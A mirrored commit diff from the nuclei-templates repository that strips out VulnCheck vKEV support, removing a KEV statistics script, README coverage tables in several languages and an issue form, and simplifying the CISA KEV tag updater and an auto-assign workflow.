mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-11-07 16:39:20 -10:00
Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
 Prince Chaddha
|
09368d0195 |
No files matched your search
@@ -1,73 +0,0 @@
|
||||
name: Enhancement Request
|
||||
description: Suggest an improvement or enhancement for nuclei-templates.
|
||||
title: "[ENHANCEMENT] ..."
|
||||
labels: ["enhancement"]
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Thanks for taking the time to suggest an enhancement!
|
||||
|
||||
:warning: **Issues missing important information may be closed without further investigation.**
|
||||
- type: checkboxes
|
||||
attributes:
|
||||
label: Is there an existing issue for this?
|
||||
description: Please search to see if an issue or discussion already exists for the enhancement you are proposing.
|
||||
options:
|
||||
- label: I have searched the existing issues and discussions.
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Enhancement Description
|
||||
description: |
|
||||
Provide a clear and concise description of the enhancement you're proposing.
|
||||
|
||||
What would you like to see improved or added?
|
||||
placeholder: |
|
||||
A clear description of what you want to happen...
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Use Case / Problem
|
||||
description: |
|
||||
Describe the use case or problem that this enhancement would solve.
|
||||
|
||||
Why is this enhancement needed? What problem does it address?
|
||||
placeholder: |
|
||||
Currently, when...
|
||||
This causes...
|
||||
It would be better if...
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Proposed Solution
|
||||
description: |
|
||||
Describe your proposed solution or implementation approach.
|
||||
|
||||
How do you envision this enhancement working?
|
||||
placeholder: |
|
||||
The enhancement could work by...
|
||||
It should include...
|
||||
validations:
|
||||
required: false
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Alternatives Considered
|
||||
description: |
|
||||
Have you considered any alternative solutions or workarounds?
|
||||
placeholder: |
|
||||
Alternative approach 1...
|
||||
Alternative approach 2...
|
||||
validations:
|
||||
required: false
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Additional Context
|
||||
description: |
|
||||
Add any other context, screenshots, examples, or references about the enhancement here.
|
||||
|
||||
Tip: You can attach images or files by clicking this area to highlight it and then dragging files in.
|
||||
validations:
|
||||
required: false
|
||||
@@ -36,21 +36,7 @@ An overview of the nuclei template project, including statistics on unique tags,
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
|
||||
|
||||
Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
|
||||
|
||||
| **KEV Source** | **Templates** | **Description** |
|
||||
|----------------|---------------|-----------------|
|
||||
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
|
||||
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
|
||||
| 🟢 **Both Sources** | **{kev_stats.get('both', 0)}** | Templates covering vulnerabilities in both catalogs |
|
||||
|
||||
> 💡 **Total unique KEV templates: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
|
||||
|
||||
---
|
||||
<td>
|
||||
|
||||
{get_top10()}
|
||||
|
||||
|
||||
@@ -42,21 +42,7 @@ Nuclei 模板
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
### 🚨 已知被利用漏洞 (KEV) 覆盖范围
|
||||
|
||||
Nuclei 模板为野外被积极利用的漏洞提供覆盖:
|
||||
|
||||
| **KEV 来源** | **模板数量** | **描述** |
|
||||
|----------------|---------------|-----------------|
|
||||
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
|
||||
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
|
||||
| 🟢 **两个来源** | **{kev_stats.get('both', 0)}** | 覆盖两个目录中漏洞的模板 |
|
||||
|
||||
> 💡 **唯一 KEV 模板总数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
|
||||
|
||||
---
|
||||
<td>
|
||||
|
||||
{get_top10()}
|
||||
|
||||
|
||||
@@ -37,21 +37,7 @@ Nucleiテンプレートプロジェクトの概要であり、ユニークな
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ
|
||||
|
||||
Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:
|
||||
|
||||
| **KEV ソース** | **テンプレート数** | **説明** |
|
||||
|----------------|---------------|-----------------|
|
||||
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
|
||||
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
|
||||
| 🟢 **両方のソース** | **{kev_stats.get('both', 0)}** | 両方のカタログの脆弱性をカバーするテンプレート |
|
||||
|
||||
> 💡 **ユニークKEVテンプレート総数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
|
||||
|
||||
---
|
||||
<td>
|
||||
|
||||
{get_top10()}
|
||||
|
||||
|
||||
@@ -39,21 +39,7 @@ Nuclei 템플릿
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위
|
||||
|
||||
Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
|
||||
|
||||
| **KEV 소스** | **템플릿 수** | **설명** |
|
||||
|----------------|---------------|-----------------|
|
||||
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
|
||||
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
|
||||
| 🟢 **두 소스 모두** | **{kev_stats.get('both', 0)}** | 두 카탈로그의 취약점을 포함하는 템플릿 |
|
||||
|
||||
> 💡 **총 고유 KEV 템플릿: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
|
||||
|
||||
---
|
||||
<td>
|
||||
|
||||
{get_top10()}
|
||||
|
||||
|
||||
@@ -1,119 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Count KEV and vKEV templates for README statistics
|
||||
|
||||
This script counts the number of templates with 'kev' and 'vkev' tags
|
||||
and outputs the statistics in a format suitable for the README.
|
||||
"""
|
||||
|
||||
import re
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from typing import Dict, Set
|
||||
|
||||
|
||||
def has_tag_in_file(file_path: Path, tag: str) -> bool:
|
||||
"""Check if a template file has a specific tag."""
|
||||
try:
|
||||
with open(file_path, 'r', encoding='utf-8') as f:
|
||||
content = f.read()
|
||||
|
||||
# Look for tags field and check if tag is present
|
||||
tags_match = re.search(r'tags:\s*([^\n]+)', content)
|
||||
if tags_match:
|
||||
tags_str = tags_match.group(1)
|
||||
# Check for tag as a standalone tag (not part of another word)
|
||||
if re.search(rf'\b{tag}\b', tags_str, re.IGNORECASE):
|
||||
return True
|
||||
except Exception as e:
|
||||
print(f"Error reading {file_path}: {e}", file=sys.stderr)
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def count_kev_templates(root_dir: str) -> Dict[str, int]:
|
||||
"""Count templates with KEV and vKEV tags."""
|
||||
root_path = Path(root_dir)
|
||||
|
||||
# Find all YAML template files
|
||||
patterns = [
|
||||
"**/*.yaml",
|
||||
"**/*.yml"
|
||||
]
|
||||
|
||||
all_files = set()
|
||||
for pattern in patterns:
|
||||
all_files.update(root_path.glob(pattern))
|
||||
|
||||
# Filter out non-template files
|
||||
template_files = [
|
||||
f for f in all_files
|
||||
if '/workflows/' not in str(f)
|
||||
and '/.github/' not in str(f)
|
||||
and '/profiles/' not in str(f)
|
||||
]
|
||||
|
||||
kev_count = 0
|
||||
vkev_count = 0
|
||||
both_count = 0
|
||||
kev_only_count = 0
|
||||
vkev_only_count = 0
|
||||
|
||||
kev_files = set()
|
||||
vkev_files = set()
|
||||
|
||||
for template_file in template_files:
|
||||
has_kev = has_tag_in_file(template_file, 'kev')
|
||||
has_vkev = has_tag_in_file(template_file, 'vkev')
|
||||
|
||||
if has_kev:
|
||||
kev_count += 1
|
||||
kev_files.add(template_file)
|
||||
|
||||
if has_vkev:
|
||||
vkev_count += 1
|
||||
vkev_files.add(template_file)
|
||||
|
||||
if has_kev and has_vkev:
|
||||
both_count += 1
|
||||
elif has_kev:
|
||||
kev_only_count += 1
|
||||
elif has_vkev:
|
||||
vkev_only_count += 1
|
||||
|
||||
return {
|
||||
'kev_total': kev_count,
|
||||
'vkev_total': vkev_count,
|
||||
'both': both_count,
|
||||
'kev_only': kev_only_count,
|
||||
'vkev_only': vkev_only_count,
|
||||
'total_templates': len(template_files)
|
||||
}
|
||||
|
||||
|
||||
def main():
|
||||
"""Main entry point."""
|
||||
root_dir = sys.argv[1] if len(sys.argv) > 1 else '.'
|
||||
|
||||
stats = count_kev_templates(root_dir)
|
||||
|
||||
# Output in a format that can be easily parsed
|
||||
print(f"KEV_TOTAL={stats['kev_total']}")
|
||||
print(f"VKEV_TOTAL={stats['vkev_total']}")
|
||||
print(f"BOTH={stats['both']}")
|
||||
print(f"KEV_ONLY={stats['kev_only']}")
|
||||
print(f"VKEV_ONLY={stats['vkev_only']}")
|
||||
print(f"TOTAL_TEMPLATES={stats['total_templates']}")
|
||||
|
||||
# Also print human-readable summary to stderr for logging
|
||||
print("\n=== KEV/vKEV Statistics ===", file=sys.stderr)
|
||||
print(f"CISA KEV templates: {stats['kev_total']}", file=sys.stderr)
|
||||
print(f"VulnCheck KEV templates: {stats['vkev_total']}", file=sys.stderr)
|
||||
print(f"Templates in both: {stats['both']}", file=sys.stderr)
|
||||
print(f"CISA KEV only: {stats['kev_only']}", file=sys.stderr)
|
||||
print(f"VulnCheck KEV only: {stats['vkev_only']}", file=sys.stderr)
|
||||
print(f"Total templates scanned: {stats['total_templates']}", file=sys.stderr)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
+94
-202
@@ -1,12 +1,11 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Enhanced KEV and vKEV Tagging Updater for Nuclei Templates
|
||||
KEV Tagging Updater for Nuclei Templates
|
||||
|
||||
This script updates KEV and vKEV (VulnCheck Known Exploited Vulnerabilities) tags for all CVE templates by:
|
||||
This script updates KEV (Known Exploited Vulnerabilities) tags for all CVE templates by:
|
||||
1. Fetching the latest CISA KEV catalog
|
||||
2. Fetching VulnCheck's KEV data (if API key available)
|
||||
3. Adding 'kev' tag for CISA KEV CVEs
|
||||
4. Adding 'vkev' tag for VulnCheck KEV CVEs (including those not in CISA)
|
||||
2. Checking each CVE template against the KEV list
|
||||
3. Adding 'kev' tag to the tags field for KEV CVEs
|
||||
"""
|
||||
|
||||
import os
|
||||
@@ -16,39 +15,35 @@ import time
|
||||
import json
|
||||
import requests
|
||||
from pathlib import Path
|
||||
from typing import Set, Optional, Dict, Tuple
|
||||
from typing import Set, Optional
|
||||
|
||||
# Configuration
|
||||
CISA_KEV_JSON_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
|
||||
VULNCHECK_KEV_API_URL = "https://api.vulncheck.com/v3/index/vulncheck-kev"
|
||||
TIMEOUT = 30
|
||||
MAX_RETRIES = 3
|
||||
VULNCHECK_PAGE_SIZE = 100
|
||||
|
||||
class EnhancedKEVUpdater:
|
||||
class KEVUpdater:
|
||||
def __init__(self, root_dir: str):
|
||||
self.root_dir = Path(root_dir)
|
||||
self.updated_count = 0
|
||||
self.error_count = 0
|
||||
self.cisa_kev_cves = set()
|
||||
self.vulncheck_kev_cves = set()
|
||||
self.vulncheck_api_key = os.getenv('VULNCHECK_API_KEY')
|
||||
|
||||
|
||||
def find_cve_templates(self) -> list[Path]:
|
||||
"""Find all CVE template files."""
|
||||
cve_files = []
|
||||
|
||||
|
||||
# Search for CVE templates in common directories
|
||||
patterns = [
|
||||
"**/cves/**/*.yaml",
|
||||
"**/cve-*.yaml"
|
||||
]
|
||||
|
||||
|
||||
for pattern in patterns:
|
||||
cve_files.extend(self.root_dir.glob(pattern))
|
||||
|
||||
|
||||
return sorted(list(set(cve_files)))
|
||||
|
||||
|
||||
def extract_cve_id(self, file_path: Path) -> Optional[str]:
|
||||
"""Extract CVE ID from filename or template content."""
|
||||
# First try filename
|
||||
@@ -56,7 +51,7 @@ class EnhancedKEVUpdater:
|
||||
cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
|
||||
if cve_match:
|
||||
return cve_match.group().upper()
|
||||
|
||||
|
||||
# If not found in filename, try content
|
||||
try:
|
||||
with open(file_path, 'r', encoding='utf-8') as f:
|
||||
@@ -66,290 +61,187 @@ class EnhancedKEVUpdater:
|
||||
return cve_match.group(1).upper()
|
||||
except Exception as e:
|
||||
print(f"Error reading {file_path}: {e}")
|
||||
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def fetch_cisa_kev_data(self) -> Set[str]:
|
||||
"""Fetch CISA KEV catalog and return set of CVE IDs."""
|
||||
kev_cves = set()
|
||||
|
||||
|
||||
for attempt in range(MAX_RETRIES):
|
||||
try:
|
||||
print("Fetching CISA KEV catalog...")
|
||||
response = requests.get(CISA_KEV_JSON_URL, timeout=TIMEOUT)
|
||||
response.raise_for_status()
|
||||
|
||||
|
||||
data = response.json()
|
||||
|
||||
|
||||
if 'vulnerabilities' in data:
|
||||
for vuln in data['vulnerabilities']:
|
||||
if 'cveID' in vuln:
|
||||
kev_cves.add(vuln['cveID'].upper())
|
||||
|
||||
|
||||
print(f"Retrieved {len(kev_cves)} CVEs from CISA KEV catalog")
|
||||
break
|
||||
else:
|
||||
print("Invalid CISA KEV data format")
|
||||
|
||||
|
||||
except requests.RequestException as e:
|
||||
print(f"CISA KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
|
||||
if attempt == MAX_RETRIES - 1:
|
||||
print("Failed to fetch CISA KEV data")
|
||||
else:
|
||||
time.sleep(2 * (attempt + 1))
|
||||
|
||||
|
||||
except Exception as e:
|
||||
print(f"Unexpected error fetching CISA KEV: {e}")
|
||||
break
|
||||
|
||||
|
||||
return kev_cves
|
||||
|
||||
def fetch_vulncheck_kev_data(self) -> Set[str]:
|
||||
"""Fetch VulnCheck KEV catalog and return set of CVE IDs."""
|
||||
if not self.vulncheck_api_key:
|
||||
print("VulnCheck API key not available, skipping vKEV data fetch")
|
||||
return set()
|
||||
|
||||
vkev_cves = set()
|
||||
page = 1
|
||||
total_pages = None
|
||||
pages_fetched = 0
|
||||
|
||||
print("Fetching VulnCheck KEV catalog...")
|
||||
|
||||
while True:
|
||||
for attempt in range(MAX_RETRIES):
|
||||
try:
|
||||
headers = {
|
||||
'Authorization': f'Bearer {self.vulncheck_api_key}',
|
||||
'Accept': 'application/json'
|
||||
}
|
||||
|
||||
params = {
|
||||
'limit': VULNCHECK_PAGE_SIZE,
|
||||
'page': page
|
||||
}
|
||||
|
||||
response = requests.get(VULNCHECK_KEV_API_URL, headers=headers, params=params, timeout=TIMEOUT)
|
||||
response.raise_for_status()
|
||||
|
||||
data = response.json()
|
||||
|
||||
if 'data' in data and data['data']:
|
||||
for entry in data['data']:
|
||||
if 'cve' in entry and entry['cve']:
|
||||
for cve_id in entry['cve']:
|
||||
if cve_id and cve_id.startswith('CVE-'):
|
||||
vkev_cves.add(cve_id.upper())
|
||||
|
||||
# Check pagination info
|
||||
meta = data.get('_meta', {})
|
||||
total_pages = meta.get('total_pages', 0)
|
||||
current_page = meta.get('page', page)
|
||||
|
||||
pages_fetched += 1
|
||||
print(f"Fetched page {current_page}/{total_pages} ({len(data['data'])} entries, {len(vkev_cves)} unique CVEs so far)")
|
||||
|
||||
# Check if we've reached the last page
|
||||
if current_page >= total_pages:
|
||||
print(f"Completed fetching all {pages_fetched} pages")
|
||||
return vkev_cves
|
||||
|
||||
# Rate limiting: small delay between requests to avoid hitting API limits
|
||||
if pages_fetched % 10 == 0: # Every 10 pages, longer delay
|
||||
print(f"Pausing for rate limiting after {pages_fetched} pages...")
|
||||
time.sleep(2)
|
||||
else:
|
||||
time.sleep(0.5) # Small delay between requests
|
||||
|
||||
page += 1
|
||||
break # Break retry loop, continue to next page
|
||||
else:
|
||||
print("No more VulnCheck KEV data")
|
||||
return vkev_cves
|
||||
|
||||
except requests.RequestException as e:
|
||||
print(f"VulnCheck KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}, page {page}): {e}")
|
||||
if attempt == MAX_RETRIES - 1:
|
||||
print(f"Failed to fetch VulnCheck KEV data for page {page}")
|
||||
return vkev_cves # Return what we have so far
|
||||
else:
|
||||
# Exponential backoff with rate limiting consideration
|
||||
delay = min(10, 2 * (attempt + 1))
|
||||
print(f"Retrying after {delay} seconds...")
|
||||
time.sleep(delay)
|
||||
|
||||
except Exception as e:
|
||||
print(f"Unexpected error fetching VulnCheck KEV: {e}")
|
||||
return vkev_cves # Return what we have so far
|
||||
|
||||
print(f"Retrieved {len(vkev_cves)} CVEs from VulnCheck KEV catalog")
|
||||
return vkev_cves
|
||||
|
||||
def has_tag(self, content: str, tag: str) -> bool:
|
||||
"""Check if template already has specific tag in tags field."""
|
||||
# Look for tags field and check if tag is present
|
||||
|
||||
def has_kev_tag(self, content: str) -> bool:
|
||||
"""Check if template already has KEV tag in tags field."""
|
||||
# Look for tags field and check if kev is present
|
||||
tags_match = re.search(r'tags:\s*([^\n]+)', content)
|
||||
if tags_match:
|
||||
tags_str = tags_match.group(1)
|
||||
# Check for tag as a standalone tag (not part of another word)
|
||||
if re.search(rf'\b{tag}\b', tags_str, re.IGNORECASE):
|
||||
# Check for kev as a standalone tag (not part of another word)
|
||||
if re.search(r'\bkev\b', tags_str, re.IGNORECASE):
|
||||
return True
|
||||
return False
|
||||
|
||||
def add_tag(self, content: str, tag: str) -> tuple[str, bool]:
|
||||
"""Add tag to the tags field. Returns (updated_content, was_updated)."""
|
||||
if self.has_tag(content, tag):
|
||||
|
||||
def add_kev_tag(self, content: str) -> tuple[str, bool]:
|
||||
"""Add kev tag to the tags field. Returns (updated_content, was_updated)."""
|
||||
if self.has_kev_tag(content):
|
||||
return content, False
|
||||
|
||||
|
||||
# Find the tags field
|
||||
tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
|
||||
if tags_match:
|
||||
indent = tags_match.group(1)
|
||||
existing_tags = tags_match.group(2).rstrip()
|
||||
|
||||
# Add tag at the end
|
||||
new_tags = existing_tags + f',{tag}'
|
||||
|
||||
# Add kev tag at the end
|
||||
new_tags = existing_tags + ',kev'
|
||||
new_line = f"{indent}{new_tags}"
|
||||
|
||||
|
||||
updated_content = content.replace(tags_match.group(0), new_line)
|
||||
return updated_content, True
|
||||
else:
|
||||
print(f"Warning: No tags field found to add {tag} tag")
|
||||
print("Warning: No tags field found to add kev tag")
|
||||
return content, False
|
||||
|
||||
def remove_tag(self, content: str, tag: str) -> tuple[str, bool]:
|
||||
"""Remove tag from the tags field. Returns (updated_content, was_updated)."""
|
||||
if not self.has_tag(content, tag):
|
||||
|
||||
def remove_kev_tag(self, content: str) -> tuple[str, bool]:
|
||||
"""Remove kev tag from the tags field. Returns (updated_content, was_updated)."""
|
||||
if not self.has_kev_tag(content):
|
||||
return content, False
|
||||
|
||||
|
||||
# Find and update tags field
|
||||
tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
|
||||
if tags_match:
|
||||
indent = tags_match.group(1)
|
||||
existing_tags = tags_match.group(2)
|
||||
|
||||
# Remove tag in various positions
|
||||
|
||||
# Remove kev tag in various positions
|
||||
new_tags = existing_tags
|
||||
# Remove ,tag or tag, patterns
|
||||
new_tags = re.sub(rf',\s*{tag}\b', '', new_tags)
|
||||
new_tags = re.sub(rf'\b{tag}\s*,', '', new_tags)
|
||||
new_tags = re.sub(rf'^\s*{tag}\s*$', '', new_tags) # tag is only tag
|
||||
new_tags = re.sub(rf'^\s*{tag}\s*,\s*', '', new_tags) # tag is first tag
|
||||
|
||||
# Remove ,kev or kev, patterns
|
||||
new_tags = re.sub(r',\s*kev\b', '', new_tags)
|
||||
new_tags = re.sub(r'\bkev\s*,', '', new_tags)
|
||||
new_tags = re.sub(r'^\s*kev\s*$', '', new_tags) # kev is only tag
|
||||
new_tags = re.sub(r'^\s*kev\s*,\s*', '', new_tags) # kev is first tag
|
||||
|
||||
if new_tags != existing_tags:
|
||||
new_line = f"{indent}{new_tags}"
|
||||
updated_content = content.replace(tags_match.group(0), new_line)
|
||||
return updated_content, True
|
||||
|
||||
|
||||
return content, False
|
||||
|
||||
def update_template_tags(self, file_path: Path, cve_id: str, is_cisa_kev: bool, is_vulncheck_kev: bool) -> bool:
|
||||
"""Update a template file with KEV and vKEV tags."""
|
||||
|
||||
def update_template_with_kev(self, file_path: Path, cve_id: str, is_kev: bool) -> bool:
|
||||
"""Update a template file with KEV tags."""
|
||||
try:
|
||||
with open(file_path, 'r', encoding='utf-8') as f:
|
||||
content = f.read()
|
||||
|
||||
|
||||
original_content = content
|
||||
updated = False
|
||||
|
||||
# Handle CISA KEV tag
|
||||
if is_cisa_kev:
|
||||
|
||||
if is_kev:
|
||||
# Add kev tag if missing
|
||||
content, tag_added = self.add_tag(content, 'kev')
|
||||
content, tag_added = self.add_kev_tag(content)
|
||||
if tag_added:
|
||||
print(f"Added kev tag to {file_path.name}")
|
||||
updated = True
|
||||
else:
|
||||
# Remove kev tag if present but CVE is not in CISA KEV catalog
|
||||
if self.has_tag(content, 'kev'):
|
||||
# Remove kev tag if present but CVE is not in KEV catalog
|
||||
if self.has_kev_tag(content):
|
||||
# Only remove if we're confident about our KEV data
|
||||
if len(self.cisa_kev_cves) > 1000: # Sanity check
|
||||
content, tag_removed = self.remove_tag(content, 'kev')
|
||||
content, tag_removed = self.remove_kev_tag(content)
|
||||
if tag_removed:
|
||||
print(f"Removed kev tag from {file_path.name} (no longer in CISA KEV catalog)")
|
||||
print(f"Removed kev tag from {file_path.name} (no longer in KEV catalog)")
|
||||
updated = True
|
||||
else:
|
||||
print(f"Warning: {cve_id} has kev tag but not in current CISA KEV catalog (keeping tag)")
|
||||
|
||||
# Handle VulnCheck KEV tag
|
||||
if is_vulncheck_kev:
|
||||
# Add vkev tag if missing
|
||||
content, tag_added = self.add_tag(content, 'vkev')
|
||||
if tag_added:
|
||||
print(f"Added vkev tag to {file_path.name}")
|
||||
updated = True
|
||||
else:
|
||||
# Remove vkev tag if present but CVE is not in VulnCheck KEV catalog
|
||||
if self.has_tag(content, 'vkev') and len(self.vulncheck_kev_cves) > 100: # Sanity check
|
||||
content, tag_removed = self.remove_tag(content, 'vkev')
|
||||
if tag_removed:
|
||||
print(f"Removed vkev tag from {file_path.name} (no longer in VulnCheck KEV catalog)")
|
||||
updated = True
|
||||
|
||||
print(f"Warning: {cve_id} has kev tag but not in current KEV catalog (keeping tag)")
|
||||
|
||||
# Write updated content if changes were made
|
||||
if updated:
|
||||
with open(file_path, 'w', encoding='utf-8') as f:
|
||||
f.write(content)
|
||||
return True
|
||||
|
||||
|
||||
return False
|
||||
|
||||
|
||||
except Exception as e:
|
||||
print(f"Error updating {file_path}: {e}")
|
||||
self.error_count += 1
|
||||
return False
|
||||
|
||||
|
||||
def run(self):
|
||||
"""Main execution function."""
|
||||
print("Starting enhanced KEV/vKEV tagging update...")
|
||||
|
||||
print("Starting KEV tagging update...")
|
||||
|
||||
# Fetch KEV data
|
||||
self.cisa_kev_cves = self.fetch_cisa_kev_data()
|
||||
self.vulncheck_kev_cves = self.fetch_vulncheck_kev_data()
|
||||
|
||||
if not self.cisa_kev_cves and not self.vulncheck_kev_cves:
|
||||
print("No KEV data available, exiting")
|
||||
|
||||
if not self.cisa_kev_cves:
|
||||
print("No CISA KEV data available, exiting")
|
||||
return
|
||||
|
||||
|
||||
# Find all CVE templates
|
||||
template_files = self.find_cve_templates()
|
||||
print(f"Found {len(template_files)} CVE template files")
|
||||
|
||||
|
||||
if not template_files:
|
||||
print("No CVE templates found!")
|
||||
return
|
||||
|
||||
|
||||
# Process templates
|
||||
cisa_kev_found = 0
|
||||
vulncheck_kev_found = 0
|
||||
both_kev_found = 0
|
||||
|
||||
kev_found = 0
|
||||
non_kev_with_tag = 0
|
||||
|
||||
for file_path in template_files:
|
||||
cve_id = self.extract_cve_id(file_path)
|
||||
if cve_id:
|
||||
is_cisa_kev = cve_id in self.cisa_kev_cves
|
||||
is_vulncheck_kev = cve_id in self.vulncheck_kev_cves
|
||||
|
||||
if is_cisa_kev:
|
||||
cisa_kev_found += 1
|
||||
if is_vulncheck_kev:
|
||||
vulncheck_kev_found += 1
|
||||
if is_cisa_kev and is_vulncheck_kev:
|
||||
both_kev_found += 1
|
||||
|
||||
if self.update_template_tags(file_path, cve_id, is_cisa_kev, is_vulncheck_kev):
|
||||
is_kev = cve_id in self.cisa_kev_cves
|
||||
|
||||
if is_kev:
|
||||
kev_found += 1
|
||||
|
||||
if self.update_template_with_kev(file_path, cve_id, is_kev):
|
||||
self.updated_count += 1
|
||||
|
||||
# Track non-KEV CVEs that have kev tags for reporting
|
||||
if not is_kev and self.has_kev_tag(open(file_path, 'r').read()):
|
||||
non_kev_with_tag += 1
|
||||
else:
|
||||
print(f"Could not extract CVE ID from {file_path}")
|
||||
|
||||
print(f"\nEnhanced KEV/vKEV update complete!")
|
||||
|
||||
print(f"\nKEV update complete!")
|
||||
print(f"Templates updated: {self.updated_count}")
|
||||
print(f"CISA KEV CVEs found in templates: {cisa_kev_found}")
|
||||
print(f"VulnCheck KEV CVEs found in templates: {vulncheck_kev_found}")
|
||||
print(f"CVEs in both CISA and VulnCheck KEV: {both_kev_found}")
|
||||
print(f"KEV CVEs found in templates: {kev_found}")
|
||||
print(f"CISA KEV catalog size: {len(self.cisa_kev_cves)}")
|
||||
print(f"VulnCheck KEV catalog size: {len(self.vulncheck_kev_cves)}")
|
||||
print(f"Non-KEV templates with kev tags: {non_kev_with_tag}")
|
||||
print(f"Errors: {self.error_count}")
|
||||
|
||||
def main():
|
||||
@@ -358,8 +250,8 @@ def main():
|
||||
root_dir = sys.argv[1]
|
||||
else:
|
||||
root_dir = os.getcwd()
|
||||
|
||||
updater = EnhancedKEVUpdater(root_dir)
|
||||
|
||||
updater = KEVUpdater(root_dir)
|
||||
updater.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
#!/usr/bin/env python3
|
||||
import glob
|
||||
import subprocess
|
||||
import re
|
||||
|
||||
def countTpl(path):
|
||||
return len(glob.glob(path + "/*.*"))
|
||||
@@ -14,38 +13,8 @@ def get_top10():
|
||||
TOP10 = command(["cat", "TOP-10.md"])
|
||||
return HEADER + TOP10 if len(TOP10) > 0 else ""
|
||||
|
||||
def get_kev_stats():
|
||||
"""Get KEV and vKEV statistics by running the count-kev-stats.py script."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["python3", ".github/scripts/count-kev-stats.py"],
|
||||
text=True,
|
||||
capture_output=True,
|
||||
timeout=120
|
||||
)
|
||||
|
||||
# Parse the output
|
||||
stats = {}
|
||||
for line in result.stdout.strip().split('\n'):
|
||||
if '=' in line:
|
||||
key, value = line.split('=')
|
||||
stats[key.lower()] = int(value)
|
||||
|
||||
return stats
|
||||
except Exception as e:
|
||||
print(f"Error getting KEV stats: {e}")
|
||||
return {
|
||||
'kev_total': 0,
|
||||
'vkev_total': 0,
|
||||
'both': 0,
|
||||
'kev_only': 0,
|
||||
'vkev_only': 0,
|
||||
'total_templates': 0
|
||||
}
|
||||
|
||||
if __name__ == "__main__":
|
||||
version = command(["git", "describe", "--tags", "--abbrev=0"])
|
||||
kev_stats = get_kev_stats()
|
||||
template = eval(open(".github/scripts/README.tmpl", "r").read())
|
||||
|
||||
print(template)
|
||||
|
||||
@@ -1,164 +1,26 @@
|
||||
name: Auto-assign on open
|
||||
|
||||
name: 🤖 issue/pr assignment
|
||||
on:
|
||||
# pull_request:
|
||||
# types: [opened]
|
||||
# branches:
|
||||
# - main
|
||||
issues:
|
||||
types: [opened, reopened]
|
||||
# Use pull_request_target so the job has permissions on PRs from forks.
|
||||
pull_request_target:
|
||||
types: [opened, ready_for_review, reopened]
|
||||
types: [opened]
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
issues: write
|
||||
pull-requests: write
|
||||
|
||||
concurrency:
|
||||
group: auto-assign-on-open
|
||||
cancel-in-progress: false
|
||||
env:
|
||||
ASSIGN_TASK_TOKEN: ${{ secrets.PDTEAMX_PAT }} # github personal token
|
||||
|
||||
jobs:
|
||||
assign:
|
||||
build:
|
||||
permissions: write-all
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
